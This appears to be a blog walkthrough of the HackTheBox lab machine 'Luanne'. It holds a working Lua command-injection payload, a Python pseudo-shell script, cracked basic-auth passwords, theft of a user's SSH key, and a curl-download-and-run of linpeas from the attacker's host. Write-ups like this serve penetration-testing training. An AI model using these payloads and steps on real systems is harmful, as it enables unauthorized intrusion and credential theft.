This HackTheBox can be found here.
Luanne is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.218
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for 10.10.10.218
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20977f6c4a6e5d20cffda3aaa90d37db (RSA)
| 521 35c329e187706d7374b2a9a204a96669 (ECDSA)
|_ 256 b3bd316dcc226b18ed2766b4a72ae4a5 (ED25519)
80/tcp open http nginx 1.19.0
|_http-server-header: nginx/1.19.0
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
|_http-server-header: Medusa/1.12
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Port 80
If we browse to http://10.10.10.218/
we get a basic auth prompt:
Nmap found that we can access robots.txt
. Browsing to it, we see one entry:
The entry states #returning 404 but still harvesting cities
. This is confirmed by browsing to http://10.10.10.218/weather.txt
:
Port 9001
If we browse to http://10.10.10.218:9001/
, we get another basic auth prompt:
Nmap tells us that the server is running Medusa httpd 1.12 (Supervisor process manager)
. Googling this, I found a gist of an unauthenticated POC. After quickly running the script, I wasn’t getting a shell back, so I moved on.
Initial Foothold
After I did some basic enumeration, I used gobuster to further enumerate the web app. After a first run, I reran it starting at /weather
and found a directory of /weather/forcast
:
1
gobuster dir -u http://10.10.10.218/weather -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Browsing to /weather/forcast
we see the following:
I switched over to Burp, and hit the endpoint with a parameter of city=list
:
We get a list of cities. If we specify a city, the server returns details of the weather:
Next, I sent a payload of ?city='
to test for SQLi:
We get a Lua error. After seeing this, I searched for methods to execute commands/SQLi through Lua and eventually found a working payload:
1
http://10.10.10.218/weather/forecast?city=%27)%3bos.execute("pwd")--
Since we have remote code execution through a GET request, I wrote a quick Python script to gain a ‘pseudo shell’:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import requests
def request(command):
URL = "http://10.10.10.218/weather/forecast?city=%27)%3bos.execute(\"" + command + "\")--"
output = str(requests.get(url = URL).content.strip())
output = output.replace('b\'{\"code\": 500,\"error\": \"unknown city: ', '').strip()
output = output.replace('\\n', '\n').replace("'", '')
print(output)
while True:
command = input("HTB Luanne > ")
request(command)
I looked around a little and found hashed credentials located at /var/www/.htpasswd
:
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
These hashed credentials should be for the basic auth prompts we saw. Using hash-identifier
, we see the hash is MD5. Hashcat quickly cracks the hash to iamthebest
:
1
2
echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash
hashcat -m 500 hash /usr/share/wordlists/rockyou.txt
I had a set of credentials, but couldn’t find a place to use them. Looking at etc/passwd
, we can see a user named r.michaels
:
Privilege Escalation - r.michaels
If we list the running processes, we see one owned by r.michaels
with the command of /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/
:
The above tells us that user r.michaels
is running what appears to be an identical app. We can verify that this is the same app by using Curl in our pseudo shell:
1
curl http://127.0.0.1:3001/weather/forecast?city=list
After trying to pass in the same payload as before, I was getting errors and determined this version isn’t vulnerable as the public facing app. Looking back to the command used to start the app, we can see different options:
1
2
3
4
5
# Public facing app (port 3000
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
# Internal app (port 3001)
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
Looking at this page we can see the difference between the two commands.
-P
is used to specify a PID file-U
is used to specify a user to run as-b
is used to specify a chroot directory. It is withinr.michaels
’s home directory on the internal app
Lastly, both commands are running with the -u
flag. From the docs, this ‘Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html’. _httpd
doesn’t have a home directory, but r.michaels
does. This means that we should be able to access files within /home/r.michaels/
through the internal app.
From the httpd
docs, we should be able to grab a directory listing if we run curl http://127.0.0.1:3001/~r.michaels/
within the pseudo shell, but I was getting authorization errors. Using the creds we cracked before, we can pass those to curl and grab the directory listing:
1
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
We see id_rsa
file and can grab it by running:
1
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
After we get the contents, we can save it and attempt to crack it with ssh2john
. When I pass it to the tool, it reports that the key is not password protected:
Now that we have the key, we can use it to SSH in as r.michaels
and grab the user flag:
1
2
3
# Make sure you run the below commands from the directory where you saved the private key
chmod 600 id_rsa
ssh -i id_rsa r.michaels@10.10.10.218
Privilege Escalation - root
Within r.michaels
’s home directory, we see a folder named backups
with a single file named devel_backup-2020-09-16.tar.gz.enc
:
We can grab it by using scp
:
1
2
# From your local machine
scp -i id_rsa r.michaels@10.10.10.218:backups/devel_backup-2020-09-16.tar.gz.enc .
After looking more into netbsd and the file, I realized that I needed to SSH back in and do more enumeration. Within /home/r.michaels/
we see a directory named .gnupg/
that contains pubring.gpg
and secring.gpg
:
When looking at this link, we can see that we can use gpg
to decrypt the contents, but gpg
isn’t installed on the box. Going back to the docs, I found that I can use netphp
:
1
2
3
4
5
6
7
8
9
10
11
12
# On the box
cd /home/r.michaels/backups
# Copy the file incase something goes wrong
cp devel_backup-2020-09-16.tar.gz.enc /tmp/devel_backup-2020-09-16.tar.gz.enc
cd /tmp
#Decrypt and extract the tarball
netpgp --output backup.tar.gz --decrypt devel_backup-2020-09-16.tar.gz.enc
# /tmp gets wiped every so often, so you may need to do the steps again
The backup looks pretty identical. Looking at .htpasswd
we see credentials for webapi_user
again, but the hash is different:
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Just as before, we can crack the new hash to get a password of littlebear
:
1
2
3
# On your local machine
echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > backup.hash
hashcat -m 500 backup.hash /usr/share/wordlists/rockyou.txt
I was stuck again, so I brought over and ran linpeas.sh
:
1
2
3
4
5
6
# On your local machine
python3 -m http.server 80
# On the box. Make sure to swap out the IP address
cd /tmp
curl http://10.10.14.9/linpeas.sh > linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
From earlier testing, I found that sudo
was not on the system, but linpeas reported that doas
was installed:
doas is a minimalistic sudo alternative, and I’ve found it as a privilege escalation vector on a few boxes.
Doas reads permissions from a config file. On this box, it’s located at /usr/pkg/etc/doas.conf
. After reading it, we see we can perform any actions as root
:
1
2
cat /usr/pkg/etc/doas.conf
# permit r.michaels as root
We can try to list the contents of /root
. Doas will prompt us for a password, but we can use littlebear
:
1
doas ls /root
We can now read the root flag and complete the box:
1
doas ls /root/root.txt
This box is listed as easy difficulty, but I think it’s medium after completing it.